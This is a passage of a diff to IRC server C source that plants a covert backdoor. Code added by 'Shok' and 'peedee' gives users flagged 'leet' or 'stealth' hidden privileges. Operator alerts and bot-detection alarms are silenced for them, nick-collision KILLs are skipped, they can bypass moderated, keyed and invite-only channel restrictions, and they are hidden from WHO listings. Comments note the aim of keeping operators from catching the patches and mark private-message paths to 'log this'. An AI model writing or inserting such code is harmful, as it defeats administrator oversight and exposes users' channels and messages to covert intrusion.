  1580. +                (parc >= 7) ? parv[6] : "-",
  1581. +                (parc >= 8) ? parv[7] : "-", parv[0]);
  1582.        
  1583.       }
  1584.  
  1585. @@ -1057,8 +1390,12 @@
  1586.         * isn't a single dot in the hostname, which is suspicious.
  1587.         * Don't fret about it just kill it. - ThemBones
  1588.         */
  1589. -      sendto_realops("BAD HOSTNAME: %s[%s@%s] on %s (from %s)",
  1590. -             parv[0], parv[5], parv[6], parv[7], parv[0]);
  1591. +      /* Shok */
  1592. +      /* Just in case we have a bad person in leet mode.. */
  1593. +      /* (we don't want them getting our patches caught)  */
  1594. +      if (sptr->leet != 1)
  1595. +         sendto_realops("BAD HOSTNAME: %s[%s@%s] on %s (from %s)",
  1596. +                parv[0], parv[5], parv[6], parv[7], parv[0]);
  1597.      }
  1598.  
  1599.    fromTS = (parc > 6);
  1600. @@ -1080,26 +1417,37 @@
  1601.        
  1602.        if (IsServer(cptr))
  1603.      {
  1604. -      ircstp->is_kill++;
  1605. -      sendto_realops_lev(DEBUG_LEV, "Bad Nick: %s From: %s %s",
  1606. -                 parv[1], parv[0],
  1607. -                 get_client_name(cptr, FALSE));
  1608. -      sendto_one(cptr, ":%s KILL %s :%s (%s <- %s[%s])",
  1609. -             me.name, parv[1], me.name, parv[1],
  1610. -             nick, cptr->name);
  1611. -      if (sptr != cptr) /* bad nick change */
  1612. -        {
  1613. -          sendto_serv_butone(cptr,
  1614. -                 ":%s KILL %s :%s (%s <- %s!%s@%s)",
  1615. -                 me.name, parv[0], me.name,
  1616. -                 get_client_name(cptr, FALSE),
  1617. -                 parv[0],
  1618. -                 sptr->user ? sptr->username : "",
  1619. -                 sptr->user ? sptr->user->server :
  1620. -                 cptr->name);
  1621. -          sptr->flags |= FLAGS_KILLED;
  1622. -          return exit_client(cptr,sptr,&me,"BadNick");
  1623. -        }
  1624. +         /* Shok */
  1625. +         /* Just in case we have a bad person in leet mode.. */
  1626. +         /* (we don't want them getting our patches caught)  */
  1627. +         if (sptr->leet != 1) {
  1628. +        ircstp->is_kill++;
  1629. +        sendto_realops_lev(DEBUG_LEV, "Bad Nick: %s From: %s %s",
  1630. +                   parv[1], parv[0],
  1631. +                   get_client_name(cptr, FALSE));
  1632. +        sendto_one(cptr, ":%s KILL %s :%s (%s <- %s[%s])",
  1633. +               me.name, parv[1], me.name, parv[1],
  1634. +               nick, cptr->name);
  1635. +         }
  1636. +
  1637. +         if (sptr != cptr) /* bad nick change */
  1638. +       {
  1639. +              /* Shok */
  1640. +              /* Just in case we have a bad person in leet mode.. */
  1641. +              /* (we don't want them getting our patches caught)  */
  1642. +              if (sptr->leet != 1) {
  1643. +             sendto_serv_butone(cptr,
  1644. +                    ":%s KILL %s :%s (%s <- %s!%s@%s)",
  1645. +                    me.name, parv[0], me.name,
  1646. +                    get_client_name(cptr, FALSE),
  1647. +                    parv[0],
  1648. +                    sptr->user ? sptr->username : "",
  1649. +                    sptr->user ? sptr->user->server :
  1650. +                    cptr->name);
  1651. +            sptr->flags |= FLAGS_KILLED;
  1652. +            return exit_client(cptr,sptr,&me,"BadNick");
  1653. +              }
  1654. +       }
  1655.      }
  1656.        return 0;
  1657.      }
  1658. @@ -1131,15 +1479,21 @@
  1659.    if (acptr)
  1660.      {
  1661.        /*
  1662. -      ** We have a nickname trying to use the same name as
  1663. -      ** a server. Send out a nick collision KILL to remove
  1664. -      ** the nickname. As long as only a KILL is sent out,
  1665. -      ** there is no danger of the server being disconnected.
  1666. -      ** Ultimate way to jupiter a nick ? >;-). -avalon
  1667. -      */
  1668. -      sendto_ops("Nick collision on %s(%s <- %s)",
  1669. -         sptr->name, acptr->from->name,
  1670. -         get_client_name(cptr, FALSE));
  1671. +       * We have a nickname trying to use the same name as
  1672. +       * a server. Send out a nick collision KILL to remove
  1673. +       * the nickname. As long as only a KILL is sent out,
  1674. +       * there is no danger of the server being disconnected.
  1675. +       * Ultimate way to jupiter a nick ? >;-). -avalon
  1676. +       */
  1677. +
  1678. +      /* Shok */
  1679. +      /* Just in case we have a bad person in leet mode.. */
  1680. +      /* (we don't want them getting our patches caught)  */
  1681. +      if (sptr->leet != 1)
  1682. +         sendto_ops("Nick collision on %s(%s <- %s)",
  1683. +            sptr->name, acptr->from->name,
  1684. +            get_client_name(cptr, FALSE));
  1685. +
  1686.        ircstp->is_kill++;
  1687.        sendto_one(cptr, ":%s KILL %s :%s (%s <- %s)",
  1688.           me.name, sptr->name, me.name, acptr->from->name,
  1689. @@ -1195,9 +1549,15 @@
  1690.        }
  1691.      else if (fromTS && !(acptr->user))
  1692.        {
  1693. -    sendto_ops("Nick Collision on %s(%s(NOUSER) <- %s!%s@%s)(TS:%s)",
  1694. -           acptr->name, acptr->from->name, parv[1], parv[5], parv[6],
  1695. -           cptr->name);
  1696. +
  1697. +        /* Shok */
  1698. +        /* Just in case we have a bad person in leet mode.. */
  1699. +        /* (we don't want them getting our patches caught)  */
  1700. +        if (sptr->leet != 1)
  1701. +           sendto_ops("Nick Collision on %s(%s(NOUSER) <- %s!%s@%s)(TS:%s)",
  1702. +              acptr->name, acptr->from->name, parv[1], parv[5], parv[6],
  1703. +              cptr->name);
  1704. +
  1705.      sendto_serv_butone(NULL, /* all servers */
  1706.                 ":%s KILL %s :%s (%s(NOUSER) <- %s!%s@%s)(TS:%s)", me.name,
  1707.                 acptr->name, me.name, acptr->from->name, parv[1], parv[5],
  1708. @@ -1247,9 +1607,14 @@
  1709.        if (!newts || !acptr->tsinfo
  1710.        || (newts == acptr->tsinfo))
  1711.      {
  1712. -      sendto_ops("Nick collision on %s(%s <- %s)(both killed)",
  1713. -             acptr->name, acptr->from->name,
  1714. -             get_client_name(cptr, FALSE));
  1715. +          /* Shok */
  1716. +          /* Just in case we have a bad person in leet mode.. */
  1717. +          /* (we don't want them getting our patches caught)  */
  1718. +          if (sptr->leet != 1)
  1719. +           sendto_ops("Nick collision on %s(%s <- %s)(both killed)",
  1720. +                acptr->name, acptr->from->name,
  1721. +                get_client_name(cptr, FALSE));
  1722. +
  1723.        ircstp->is_kill++;
  1724.        sendto_one(acptr, err_str(ERR_NICKCOLLISION),
  1725.               me.name, acptr->name, acptr->name);
  1726. @@ -1276,13 +1641,21 @@
  1727.        else
  1728.          {
  1729.            if (sameuser)
  1730. -        sendto_ops("Nick collision on %s(%s <- %s)(older killed)",
  1731. -               acptr->name, acptr->from->name,
  1732. -               get_client_name(cptr, FALSE));
  1733. +                 /* Shok */
  1734. +                 /* Just in case we have a bad person in leet mode.. */
  1735. +                 /* (we don't want them getting our patches caught)  */
  1736. +                 if (sptr->leet != 1)
  1737. +            sendto_ops("Nick collision on %s(%s <- %s)(older killed)",
  1738. +                   acptr->name, acptr->from->name,
  1739. +                   get_client_name(cptr, FALSE));
  1740.            else
  1741. -        sendto_ops("Nick collision on %s(%s <- %s)(newer killed)",
  1742. -               acptr->name, acptr->from->name,
  1743. -               get_client_name(cptr, FALSE));
  1744. +                 /* Shok */
  1745. +                 /* Just in case we have a bad person in leet mode.. */
  1746. +                 /* (we don't want them getting our patches caught)  */
  1747. +                 if (sptr->leet != 1)
  1748. +            sendto_ops("Nick collision on %s(%s <- %s)(newer killed)",
  1749. +                   acptr->name, acptr->from->name,
  1750. +                   get_client_name(cptr, FALSE));
  1751.            
  1752.            ircstp->is_kill++;
  1753.            sendto_one(acptr, err_str(ERR_NICKCOLLISION),
  1754. @@ -1308,9 +1681,14 @@
  1755.    if ( !newts || !acptr->tsinfo || (newts == acptr->tsinfo) ||
  1756.        !sptr->user)
  1757.      {
  1758. -      sendto_ops("Nick change collision from %s to %s(%s <- %s)(both killed)",
  1759. -         sptr->name, acptr->name, acptr->from->name,
  1760. -         get_client_name(cptr, FALSE));
  1761. +      /* Shok */
  1762. +      /* Just in case we have a bad person in leet mode.. */
  1763. +      /* (we don't want them getting our patches caught)  */
  1764. +      if (sptr->leet != 1)
  1765. +         sendto_ops("Nick change collision from %s to %s(%s <- %s)(both killed)",
  1766. +            sptr->name, acptr->name, acptr->from->name,
  1767. +            get_client_name(cptr, FALSE));
  1768. +
  1769.        ircstp->is_kill++;
  1770.        sendto_one(acptr, err_str(ERR_NICKCOLLISION),
  1771.           me.name, acptr->name, acptr->name);
  1772. @@ -1337,13 +1715,22 @@
  1773.        (!sameuser && newts > acptr->tsinfo))
  1774.      {
  1775.        if (sameuser)
  1776. -        sendto_ops("Nick change collision from %s to %s(%s <- %s)(older killed)",
  1777. -               sptr->name, acptr->name, acptr->from->name,
  1778. -               get_client_name(cptr, FALSE));
  1779. +             /* Shok */
  1780. +             /* Just in case we have a bad person in leet mode.. */
  1781. +             /* (we don't want them getting our patches caught)  */
  1782. +             if (sptr->leet != 1)
  1783. +            sendto_ops("Nick change collision from %s to %s(%s <- %s)(older killed)",
  1784. +                   sptr->name, acptr->name, acptr->from->name,
  1785. +                   get_client_name(cptr, FALSE));
  1786.        else
  1787. -        sendto_ops("Nick change collision from %s to %s(%s <- %s)(newer killed)",
  1788. -               sptr->name, acptr->name, acptr->from->name,
  1789. -               get_client_name(cptr, FALSE));
  1790. +            /* Shok */
  1791. +            /* Just in case we have a bad person in leet mode.. */
  1792. +            /* (we don't want them getting our patches caught)  */
  1793. +            if (sptr->leet != 1)
  1794. +           sendto_ops("Nick change collision from %s to %s(%s <- %s)(newer killed)",
  1795. +                  sptr->name, acptr->name, acptr->from->name,
  1796. +                  get_client_name(cptr, FALSE));
  1797. +
  1798.        ircstp->is_kill++;
  1799.        sendto_serv_butone(cptr, /* KILL old from outgoing servers */
  1800.                   ":%s KILL %s :%s (%s(%s) <- %s)",
  1801. @@ -1358,13 +1745,21 @@
  1802.        else
  1803.      {
  1804.        if (sameuser)
  1805. -        sendto_ops("Nick collision on %s(%s <- %s)(older killed)",
  1806. -               acptr->name, acptr->from->name,
  1807. -               get_client_name(cptr, FALSE));
  1808. +             /* Shok */
  1809. +             /* Just in case we have a bad person in leet mode.. */
  1810. +             /* (we don't want them getting our patches caught)  */
  1811. +             if (sptr->leet != 1)
  1812. +            sendto_ops("Nick collision on %s(%s <- %s)(older killed)",
  1813. +                   acptr->name, acptr->from->name,
  1814. +                   get_client_name(cptr, FALSE));
  1815.        else
  1816. -        sendto_ops("Nick collision on %s(%s <- %s)(newer killed)",
  1817. -               acptr->name, acptr->from->name,
  1818. -               get_client_name(cptr, FALSE));
  1819. +            /* Shok */
  1820. +            /* Just in case we have a bad person in leet mode.. */
  1821. +            /* (we don't want them getting our patches caught)  */
  1822. +            if (sptr->leet != 1)
  1823. +           sendto_ops("Nick collision on %s(%s <- %s)(newer killed)",
  1824. +                  acptr->name, acptr->from->name,
  1825. +                  get_client_name(cptr, FALSE));
  1826.        
  1827.        ircstp->is_kill++;
  1828.        sendto_one(acptr, err_str(ERR_NICKCOLLISION),
  1829. @@ -1398,7 +1793,12 @@
  1830.        ts_warn("Remote nick %s introduced without a TS", nick);
  1831.      }
  1832.        /* copy the nick in place */
  1833. -      (void)strcpy(sptr->name, nick);
  1834. +      /* buffer check by peedee */
  1835. +      (void)strncpy(sptr->name, nick, sizeof(sptr->name));
  1836. +
  1837. +      /* New Shok */
  1838. +      snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), "Current nick: %s", nick);
  1839. +
  1840.        (void)add_to_client_hash_table(nick, sptr);
  1841.        if (parc > 8)
  1842.      {
  1843. @@ -1453,12 +1853,17 @@
  1844.            if(sptr->number_of_nick_changes <= MAX_NICK_CHANGES)
  1845.          {
  1846.  #endif
  1847. -          sendto_realops_lev(NCHANGE_LEV,
  1848. -                 "Nick change: From %s to %s [%s@%s]",
  1849. -                 parv[0], nick, sptr->user->username,
  1850. -                 sptr->user->host);
  1851. +              /* New Shok (forgot about sendto_common_channels()  */
  1852. +              /* Just in case we have a bad person in leet mode.. */
  1853. +              /* (we don't want them getting our patches caught)  */
  1854. +              if (sptr->leet != 1) {
  1855. +             sendto_realops_lev(NCHANGE_LEV,
  1856. +                    "Nick change: From %s to %s [%s@%s]",
  1857. +                    parv[0], nick, sptr->user->username,
  1858. +                    sptr->user->host);
  1859.  
  1860. -          sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick);
  1861. +             sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick);
  1862. +              }
  1863.            if (sptr->user)
  1864.          {
  1865.            add_history(sptr,1);
  1866. @@ -1481,7 +1886,10 @@
  1867.      }
  1868.        else
  1869.      {
  1870. -      sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick);
  1871. +          /* New Shok */
  1872. +          if (sptr->leet != 1)
  1873. +          sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick);
  1874. +
  1875.        if (sptr->user)
  1876.          {
  1877.            add_history(sptr,1);
  1878. @@ -1498,6 +1906,11 @@
  1879.  
  1880.        /* This had to be copied here to avoid problems.. */
  1881.        (void)strcpy(sptr->name, nick);
  1882. +
  1883. +      /* New Shok */
  1884. +/*      snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), 
  1885. +"Current nick: %s", nick); */
  1886. +
  1887.        sptr->tsinfo = timeofday + timedelta;
  1888.        if (sptr->user)
  1889.      {
  1890. @@ -1516,7 +1929,12 @@
  1891.  #ifdef ANTI_IP_SPOOF
  1892.        if(MyConnect(sptr))
  1893.          {
  1894. -          (void)strcpy(sptr->name,nick);
  1895. +          (void)strcpy(sptr->name, nick);
  1896. +
  1897. +              /* New Shok */
  1898. +/*
  1899. +              snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), "Current nick: %s", nick);
  1900. +*/
  1901.                sptr->random_ping = my_rand();
  1902.                sendto_one(sptr, "PING :%d", sptr->random_ping);
  1903.                sptr->flags |= FLAGS_PINGSENT;
  1904. @@ -1534,7 +1952,13 @@
  1905.    */
  1906.    if (sptr->name[0])
  1907.      (void)del_from_client_hash_table(sptr->name, sptr);
  1908. +
  1909.    (void)strcpy(sptr->name, nick);
  1910. +
  1911. +  /* New Shok */
  1912. + /* snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), 
  1913. +"Current nick: %s", nick);*/  
  1914. +
  1915.    (void)add_to_client_hash_table(nick, sptr);
  1916.  
  1917.    return 0;
  1918. @@ -1632,27 +2056,45 @@
  1919.        {
  1920.      /* ComBot */
  1921.      if (strstr(nick, "blehdhfsddd"))
  1922. -      sendto_realops_lev(REJ_LEV,
  1923. -                 "ComBot alarm activated: %s [%s@%s] : [/msg %s]",
  1924. -                 parv[0], sptr->user->username, 
  1925. -                 sptr->user->host, nick);
  1926. +          /* Shok */
  1927. +          /* Just in case we have a bad person in leet mode.. */
  1928. +          /* (we don't want them getting our patches caught)  */
  1929. +          if (sptr->leet != 1)
  1930. +        sendto_realops_lev(REJ_LEV,
  1931. +                   "ComBot alarm activated: %s [%s@%s] : [/msg %s]",
  1932. +                   parv[0], sptr->user->username, 
  1933. +                   sptr->user->host, nick);
  1934.  
  1935.      /* EggDrop finder by desynched */
  1936.      if (!matches("h?4x0r?", nick))
  1937. -      sendto_realops_lev(REJ_LEV,
  1938. +
  1939. +      /* Shok */
  1940. +          /* Just in case we have a bad person in leet mode.. */
  1941. +          /* (we don't want them getting our patches caught)  */
  1942. +          if (sptr->leet != 1)
  1943. +         sendto_realops_lev(REJ_LEV,
  1944.             "EggDrop alarm #2 activated: %s [%s@%s] : [/msg %s]",
  1945.                   parv[0], sptr->user->username,
  1946.                   sptr->user->host, nick);
  1947.  
  1948.      /* HOFBot finder by desynched */
  1949.      if (strstr(nick,"blahb1ah"))
  1950. -      sendto_realops_lev(REJ_LEV, "HOFBot alarm activated: %s [%s@%s] : [/msg %s]",
  1951. -                 parv[0], sptr->user->username, sptr->user->host, nick);
  1952. +      /* Shok */
  1953. +          /* Just in case we have a bad person in leet mode.. */
  1954. +          /* (we don't want them getting our patches caught)  */
  1955. +          if (sptr->leet != 1)
  1956. +        sendto_realops_lev(REJ_LEV, "HOFBot alarm activated: %s [%s@%s] : [/msg %s]",
  1957. +                   parv[0], sptr->user->username, sptr->user->host, nick);
  1958.  
  1959.      /* Stealth finder by desynched */
  1960.      if (strstr(nick,"uthfgse"))
  1961. -      sendto_realops_lev(REJ_LEV, "Stealth Eggdrop alarm activated: %s [%s@%s] : [/msg %s]",
  1962. -                 parv[0], sptr->user->username, sptr->user->host, nick);
  1963. +
  1964. +      /* Shok */
  1965. +          /* Just in case we have a bad person in leet mode.. */
  1966. +          /* (we don't want them getting our patches caught)  */
  1967. +          if (sptr->leet != 1)
  1968. +        sendto_realops_lev(REJ_LEV, "Stealth Eggdrop alarm activated: %s [%s@%s] : [/msg %s]",
  1969. +                   parv[0], sptr->user->username, sptr->user->host, nick);
  1970.        }
  1971.  #endif
  1972.      
  1973. @@ -1678,14 +2120,28 @@
  1974.      if (sptr == acptr)      /* msging self */
  1975.        {
  1976.          if (strstr(parv[2], "\001AWAKE\001"))
  1977. -          sendto_realops_lev(REJ_LEV, "EggDrop alarm activated: %s [%s@%s] : [/ctcp %s AWAKE]",
  1978. -                 parv[0], acptr->user->username, acptr->user->host, parv[0]);
  1979. +            /* Shok */
  1980. +              /* Just in case we have a bad person in leet mode.. */
  1981. +              /* (we don't want them getting our patches caught)  */
  1982. +              if (sptr->leet != 1)
  1983. +            sendto_realops_lev(REJ_LEV, "EggDrop alarm activated: %s [%s@%s] : [/ctcp %s AWAKE]",
  1984. +                   parv[0], acptr->user->username, acptr->user->host, parv[0]);
  1985. +
  1986.          if (strstr(parv[2], "-=Ping Check=-"))
  1987. -          sendto_realops_lev(REJ_LEV,"JohBot alarm activated: %s [%s@%s] : [/msg %s %s]",
  1988. -                 parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]);
  1989. +            /* Shok */
  1990. +              /* Just in case we have a bad person in leet mode.. */
  1991. +              /* (we don't want them getting our patches caught)  */
  1992. +              if (sptr->leet != 1)
  1993. +            sendto_realops_lev(REJ_LEV,"JohBot alarm activated: %s [%s@%s] : [/msg %s %s]",
  1994. +                   parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]);
  1995. +
  1996.          if (strstr(parv[2], "\001PRVMSG blah\001"))
  1997. -          sendto_realops_lev(REJ_LEV, "vlad 2.1+tb alarm activated: %s [%s@%s] : [/msg %s %s]",
  1998. -                 parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]);
  1999. +            /* Shok */
  2000. +              /* Just in case we have a bad person in leet mode.. */
  2001. +              /* (we don't want them getting our patches caught)  */
  2002. +              if (sptr->leet != 1)
  2003. +            sendto_realops_lev(REJ_LEV, "vlad 2.1+tb alarm activated: %s [%s@%s] : [/msg %s %s]",
  2004. +                   parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]);
  2005.        }
  2006.  #endif
  2007.  
  2008. @@ -1702,12 +2158,45 @@
  2009.          check_for_flud(sptr, NULL, chptr, 1);
  2010.  #endif /* FLUD */
  2011.  
  2012. -    if (can_send(sptr, chptr) == 0)
  2013. -      sendto_channel_butone(cptr, sptr, chptr,
  2014. -                ":%s %s %s :%s",
  2015. -                parv[0], cmd, nick,
  2016. -                parv[2]);
  2017. -    else if (!notice)
  2018. +        /* New Shok */
  2019. +        /* allows us to send to the channel even if its +m     */
  2020. +        /* HOWEVER, if stealth is on.. and it's a +i, +m, or   */
  2021. +        /* +k, we're probably not supposed to be there.. and   */
  2022. +        /* so it will not send anything to the channel and     */
  2023. +        /* should return (can't send to the channel). If you   */
  2024. +        /* really want to speak in a channel that is +k, +m,   */
  2025. +        /* or +i, then do: /speak <channel> [ON | OFF]         */
  2026. +
  2027. +    if (sptr->leet == 1 || can_send(sptr, chptr) == 0) {
  2028. +            /* do something for: if stealth is on but they called */
  2029. +            /* /speak with on, then they can speak.. we will need */
  2030. +            /* a new array to keep track of the channels they can */
  2031. +            /* speak in.                                          */
  2032. +
  2033. +            if (sptr->stealth == 1) {
  2034. +               /* Check to make sure they have called /speak */
  2035. +               int i;
  2036. +
  2037. +               /* Check to see if it's not a public channel and things.. */
  2038. +               if (isKey(chptr) || isInviteOnly(chptr) 
  2039. +                                || isModerated(chptr)
  2040. +                                || isMaxLimit(chptr))
  2041. +                  /* If it's not.. because stealth is on.. we have to */
  2042. +                  /* make sure they _really_ wanted to speak and it   */
  2043. +                  /* wasn't a mistake.                                */
  2044. +                  for (i = 0; sptr->speakchan[i]; i++)
  2045. +                      if (strstr(sptr->speakchan[i], "#hack"))
  2046. +                     sendto_channel_butone(cptr, sptr, chptr,
  2047. +                               ":%s %s %s :%s",
  2048. +                               parv[0], cmd, nick,
  2049. +                               parv[2]);
  2050. +            } else /* if sptr->stealth != 1 */
  2051. +              sendto_channel_butone(cptr, sptr, chptr,
  2052. +                        ":%s %s %s :%s",
  2053. +                        parv[0], cmd, nick,
  2054. +                        parv[2]);
  2055. +               
  2056. +    } else if (!notice)
  2057.        sendto_one(sptr, err_str(ERR_CANNOTSENDTOCHAN),
  2058.               me.name, parv[0], nick);
  2059.      continue;
  2060. @@ -1758,6 +2247,7 @@
  2061.      */
  2062.      if (!IsMe(acptr))
  2063.        {
  2064. +            /* Real Shok - log this */
  2065.          sendto_one(acptr,":%s %s %s :%s", parv[0],
  2066.                 cmd, nick, parv[2]);
  2067.          continue;
  2068. @@ -1780,6 +2270,7 @@
  2069.      if (acptr)
  2070.        {
  2071.          if (count == 1)
  2072. +              /* Real Shok - log this */
  2073.            sendto_prefix_one(acptr, sptr,
  2074.                  ":%s %s %s :%s",
  2075.                  parv[0], cmd,
  2076. @@ -1796,9 +2287,10 @@
  2077.             parv[0], nick);
  2078.    }
  2079.    if ((i > 20) && sptr->user)
  2080. -    sendto_realops_lev(SPY_LEV, "User %s (%s@%s) tried to msg %d users",
  2081. -               sptr->name,
  2082. -               sptr->user->username, sptr->user->host, i);
  2083. +    if (sptr->leet != 1) /* Shok */
  2084. +      sendto_realops_lev(SPY_LEV, "User %s (%s@%s) tried to msg %d users",
  2085. +                 sptr->name,
  2086. +                 sptr->user->username, sptr->user->host, i);
  2087.    return 0;
  2088.  }
  2089.  
  2090. @@ -1840,26 +2332,36 @@
  2091.    char    status[5];
  2092.    int    i = 0;
  2093.  
  2094. -  if (acptr->user->away)
  2095. -    status[i++] = 'G';
  2096. -  else
  2097. -    status[i++] = 'H';
  2098. -  if (IsAnOper(acptr))
  2099. -    status[i++] = '*';
  2100. -  if ((repchan != NULL) && (lp == NULL))
  2101. -    lp = find_user_link(repchan->members, acptr);
  2102. -  if (lp != NULL)
  2103. +  /* peedee */
  2104. +
  2105. +  if (acptr->stealth != 1) 
  2106. +  {
  2107. +    if (acptr->user->away)
  2108. +      status[i++] = 'G';
  2109. +    else
  2110. +      status[i++] = 'H';
  2111. +
  2112. +    if (IsAnOper(acptr))
  2113. +      status[i++] = '*';
  2114. +
  2115. +    if ((repchan != NULL) && (lp == NULL))
  2116. +      lp = find_user_link(repchan->members, acptr);
  2117. +
  2118. +    if (lp != NULL)
  2119.      {
  2120.        if (lp->flags & CHFL_CHANOP)
  2121.      status[i++] = '@';
  2122. +
  2123.        else if (lp->flags & CHFL_VOICE)
  2124.      status[i++] = '+';
  2125.      }
  2126. -  status[i] = '\0';
  2127. -  sendto_one(sptr, rpl_str(RPL_WHOREPLY), me.name, sptr->name,
  2128. -         (repchan) ? (repchan->chname) : "*", acptr->user->username,
  2129. -         acptr->user->host, acptr->user->server, acptr->name,
  2130. -         status, acptr->hopcount, acptr->info);
  2131. +
  2132. +    status[i] = '\0';
  2133. +    sendto_one(sptr, rpl_str(RPL_WHOREPLY), me.name, sptr->name,
  2134. +           (repchan) ? (repchan->chname) : "*", acptr->user->username,
  2135. +           acptr->user->host, acptr->user->server, acptr->name,
  2136. +           status, acptr->hopcount, acptr->info);
  2137. +  }
  2138.  }
  2139.  
  2140.  /*
  2141. @@ -1868,6 +2370,7 @@
  2142.  **    parv[1] = nickname mask list
  2143.  **    parv[2] = additional selection flag, only 'o' for now.
  2144.  */
  2145. +
  2146.  int    m_who(aClient *cptr,
  2147.            aClient *sptr,
  2148.            int parc,
  2149. @@ -1894,6 +2397,7 @@
  2150.    if (check_registered_user(sptr))
  2151.      return 0;
  2152.  
  2153. +
  2154.    /*
  2155.    **  Following code is some ugly hacking to preserve the
  2156.    **  functions of the old implementation. (Also, people
  2157. @@ -1933,12 +2437,15 @@
  2158.        if (member || !SecretChannel(chptr))
  2159.          for (lp = chptr->members; lp; lp = lp->next)
  2160.            {
  2161. +
  2162.          if (oper && !IsAnOper(lp->value.cptr))
  2163.            continue;
  2164. +
  2165.          if (IsInvisible(lp->value.cptr) && !member)
  2166.            continue;
  2167. -        do_who(sptr, lp->value.cptr, chptr, lp);
  2168. -          }
  2169. +
  2170. +                do_who(sptr, lp->value.cptr, chptr, lp);
  2171. +            }
  2172.      }
  2173.      }
  2174.    else if (mask && 
  2175. @@ -1953,15 +2460,15 @@
  2176.      {
  2177.        chptr = lp->value.chptr;
  2178.        member = IsMember(sptr, chptr);
  2179. -      if (isinvis && !member)
  2180. -        continue;
  2181. +
  2182.        if (member || (!isinvis && PubChannel(chptr)))
  2183.          {
  2184.            ch2ptr = chptr;
  2185.            break;
  2186.          }
  2187.      }
  2188. -      do_who(sptr, acptr, ch2ptr, NULL);
  2189. +
  2190. +          do_who(sptr, acptr, ch2ptr, NULL);
  2191.      }
  2192.    else for (acptr = client; acptr; acptr = acptr->next)
  2193.      {
  2194. @@ -1986,8 +2493,10 @@
  2195.      {
  2196.        chptr = lp->value.chptr;
  2197.        member = IsMember(sptr, chptr);
  2198. +          
  2199.        if (isinvis && !member)
  2200.          continue;
  2201. +
  2202.        if (member || (!isinvis && PubChannel(chptr)))
  2203.          {
  2204.            ch2ptr = chptr;
  2205. @@ -1998,6 +2507,7 @@
  2206.            !isinvis)
  2207.          showperson = 1;
  2208.      }
  2209. +
  2210.        if (!acptr->user->channel && !isinvis)
  2211.      showperson = 1;
  2212.        if (showperson &&
  2213. @@ -2008,7 +2518,9 @@
  2214.         !matches(mask, acptr->user->server) ||
  2215.         !matches(mask, acptr->info)))
  2216.      {
  2217. -      do_who(sptr, acptr, ch2ptr, NULL);
  2218. +
  2219. +          do_who(sptr, acptr, ch2ptr, NULL);
  2220. +
  2221.        if (!--maxmatches)
  2222.          {
  2223.            sendto_one(sptr, rpl_str(RPL_ENDOFWHO), me.name, parv[0],
  2224. @@ -2025,54 +2537,54 @@
  2225.  
  2226.  /*
  2227.  ** m_whois
  2228. -**    parv[0] = sender prefix
  2229. -**    parv[1] = nickname masklist
  2230. +**      parv[0] = sender prefix
  2231. +**      parv[1] = nickname masklist
  2232.  */
  2233. -int    m_whois(aClient *cptr,
  2234. -        aClient *sptr,
  2235. -        int parc,
  2236. -        char *parv[])
  2237. +int     m_whois(aClient *cptr,
  2238. +                aClient *sptr,
  2239. +                int parc,
  2240. +                char *parv[])
  2241.  {
  2242.    static anUser UnknownUser =
  2243.    {
  2244. -    NULL,    /* next */
  2245. -    NULL,       /* channel */
  2246. -    NULL,       /* invited */
  2247. -    NULL,    /* away */
  2248. -    0,        /* last */
  2249. -    1,          /* refcount */
  2250. -    0,        /* joined */
  2251. -    "<Unknown>",    /* user */
  2252. -    "<Unknown>",    /* host */
  2253. -    "<Unknown>"        /* server */
  2254. +    NULL,       /* next */
  2255. +    NULL,       /* channel */
  2256. +    NULL,       /* invited */
  2257. +    NULL,       /* away */
  2258. +    0,          /* last */
  2259. +    1,          /* refcount */
  2260. +    0,          /* joined */
  2261. +    "<Unknown>",        /* user */
  2262. +    "<Unknown>",        /* host */
  2263. +    "<Unknown>"         /* server */
  2264.    };
  2265. -  Reg    Link    *lp;
  2266. -  Reg    anUser    *user;
  2267. +  Reg   Link    *lp;
  2268. +  Reg   anUser  *user;
  2269.    aClient *acptr, *a2cptr;
  2270.    aChannel *chptr;
  2271. -  char    *nick, *tmp, *name;
  2272. -  char    *p = NULL;
  2273. -  int    found, len, mlen;
  2274. +  char  *nick, *tmp, *name;
  2275. +  char  *p = NULL;
  2276. +  int   found, len, mlen;
  2277.  
  2278.    if (parc < 2)
  2279.      {
  2280.        sendto_one(sptr, err_str(ERR_NONICKNAMEGIVEN),
  2281. -         me.name, parv[0]);
  2282. +                 me.name, parv[0]);
  2283.        return 0;
  2284.      }
  2285.  
  2286.    if (parc > 2)
  2287.      {
  2288.        if (hunt_server(cptr,sptr,":%s WHOIS %s :%s", 1,parc,parv) !=
  2289. -      HUNTED_ISME)
  2290. -    return 0;
  2291. +          HUNTED_ISME)
  2292. +        return 0;
  2293.        parv[1] = parv[2];
  2294.      }
  2295.  
  2296.    for (tmp = parv[1]; (nick = strtoken(&p, tmp, ",")); tmp = NULL)
  2297.      {
  2298. -      int    invis, showperson, member, wilds;
  2299. -      
  2300. +      int       invis, showperson, member, wilds;
  2301. +
  2302.        found = 0;
  2303.        (void)collapse(nick);
  2304.        wilds = (index(nick, '?') || index(nick, '*'));
  2305. @@ -2081,230 +2593,248 @@
  2306.        ** requests with wildcards.
  2307.        */
  2308.        if (!MyConnect(sptr) && wilds)
  2309. -    continue;
  2310. +        continue;
  2311.  
  2312.        /* If the nick doesn't have any wild cards in it,
  2313. -     then just pick it up from the hash table
  2314. -     - Dianora */
  2315. +         then just pick it up from the hash table
  2316. +         - Dianora */
  2317.  
  2318.        if(!wilds)
  2319. -    {
  2320. -      acptr = hash_find_client(nick,(aClient *)NULL);
  2321. -      if(!acptr)
  2322. -        {
  2323. -          sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2324. -             me.name, parv[0], nick);
  2325. -          continue;
  2326. -        }
  2327. +        {
  2328. +          acptr = hash_find_client(nick,(aClient *)NULL);
  2329.  
  2330.            user = acptr->user ? acptr->user : &UnknownUser;
  2331. -      name = (!*acptr->name) ? "?" : acptr->name;
